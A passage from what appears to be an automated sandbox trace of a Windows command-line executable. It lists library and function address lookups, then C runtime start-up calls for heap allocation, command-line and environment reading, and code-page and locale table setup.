0x77359d35 [0129.409] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0129.409] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0129.409] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0129.409] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0129.409] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0129.409] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0129.409] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0129.410] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0129.410] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0129.410] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0129.410] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0129.410] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0129.410] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0129.410] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0129.410] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0129.410] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0129.410] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0129.410] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0129.410] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0129.410] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0129.410] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0129.411] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0129.411] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0129.411] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0129.411] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0129.411] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0129.411] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0129.411] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0129.411] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0129.411] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0129.411] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0129.411] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0129.411] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0129.411] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0129.411] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0129.411] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0129.412] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0129.412] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0129.412] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0129.412] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0129.412] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0129.412] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0129.412] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0129.412] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0129.412] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0129.412] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0129.412] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0129.412] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0129.412] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0129.412] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0129.413] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0129.413] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0129.413] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0129.413] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0129.413] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0129.413] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0129.413] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0129.413] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0129.413] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0129.413] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0129.413] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0129.413] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0129.413] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0129.413] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0129.413] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0129.414] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0129.414] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0129.414] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0129.414] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0129.414] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0129.414] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0129.414] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0129.414] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0129.414] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0129.414] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0129.414] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0129.414] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0129.414] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0129.414] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0129.415] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0129.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xf09180e0, dwHighDateTime=0x1d5d06a)) [0129.415] GetCurrentThreadId () returned 0x5f8 [0129.415] GetCurrentProcessId () returned 0x284 [0129.415] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=27136766326) returned 1 [0129.416] GetProcessHeap () returned 0x530000 [0129.416] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0129.416] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0129.416] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0129.416] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0129.416] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0129.416] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0129.416] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0129.416] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0129.416] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0129.416] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0129.416] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0129.416] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0129.417] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0129.417] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0129.417] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0129.417] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0129.417] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0129.417] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0129.417] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0129.417] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0129.417] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0129.417] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0129.417] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0129.417] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0129.417] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0129.418] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0129.418] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0129.418] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0129.418] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0129.418] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0129.474] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0129.475] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0129.475] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0129.475] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0129.475] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x3bc) returned 0x5460b0 [0129.475] GetCurrentThreadId () returned 0x5f8 [0129.475] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x18) returned 0x546478 [0129.475] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x800) returned 0x546498 [0129.476] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"Genko_2.jtp\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0xa03e663a, hStdError=0x0)) [0129.476] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0129.476] GetFileType (hFile=0x3) returned 0x2 [0129.476] GetStdHandle (nStdHandle=0xfffffff5) returned 0x80 [0129.476] GetFileType (hFile=0x80) returned 0x3 [0129.476] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0129.476] GetFileType (hFile=0xb) returned 0x2 [0129.476] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"Genko_2.jtp\" -nobanner" [0129.476] GetEnvironmentStringsW () returned 0x546ca0* [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb7e) returned 0x547828 [0129.477] FreeEnvironmentStringsW (penv=0x546ca0) returned 1 [0129.477] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x72) returned 0x53f8d0 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xa0) returned 0x546ca0 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x3e) returned 0x5483c8 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x6c) returned 0x546d48 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x6e) returned 0x546dc0 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x78) returned 0x53f950 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x62) returned 0x546e38 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2e) returned 0x546ea8 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x48) returned 0x546ee0 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x22) returned 0x546f30 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x28) returned 0x546f60 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1a) returned 0x545a80 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x4a) returned 0x546f90 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x72) returned 0x53f9d0 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x30) returned 0x546fe8 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2e) returned 0x547020 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1c) returned 0x545aa8 [0129.477] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xd2) returned 0x547058 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x7c) returned 0x547138 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x36) returned 0x5471c0 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x3a) returned 0x548410 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x90) returned 0x547200 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x24) returned 0x547298 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x30) returned 0x5472c8 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x36) returned 0x547300 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x48) returned 0x547340 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x52) returned 0x547390 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x3c) returned 0x548458 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x18) returned 0x5473f0 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x82) returned 0x547410 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2e) returned 0x5474a0 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1e) returned 0x545ad0 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2c) returned 0x5474d8 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x54) returned 0x547510 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x52) returned 0x547570 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2a) returned 0x5475d0 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x3c) returned 0x5484a0 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x54) returned 0x547608 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x24) returned 0x547668 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x30) returned 0x547698 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x8c) returned 0x5476d0 [0129.478] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x547828 | out: hHeap=0x530000) returned 1 [0129.478] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x800) returned 0x5493b0 [0129.479] GetLastError () returned 0x0 [0129.479] SetLastError (dwErrCode=0x0) [0129.479] GetLastError () returned 0x0 [0129.479] SetLastError (dwErrCode=0x0) [0129.479] GetLastError () returned 0x0 [0129.479] SetLastError (dwErrCode=0x0) [0129.479] GetACP () returned 0x4e4 [0129.479] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x220) returned 0x549bb8 [0129.479] GetLastError () returned 0x0 [0129.479] SetLastError (dwErrCode=0x0) [0129.479] IsValidCodePage (CodePage=0x4e4) returned 1 [0129.479] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0129.479] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0129.479] GetLastError () returned 0x0 [0129.479] SetLastError (dwErrCode=0x0) [0129.479] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0129.479] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0129.479] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0129.479] GetLastError () returned 0x0 [0129.479] SetLastError (dwErrCode=0x0) [0129.479] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0129.479] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0129.479] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0129.479] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0129.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿªg> äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0129.479] GetLastError () returned 0x0 [0129.479] SetLastError (dwErrCode=0x0) [0129.479] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0129.480] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 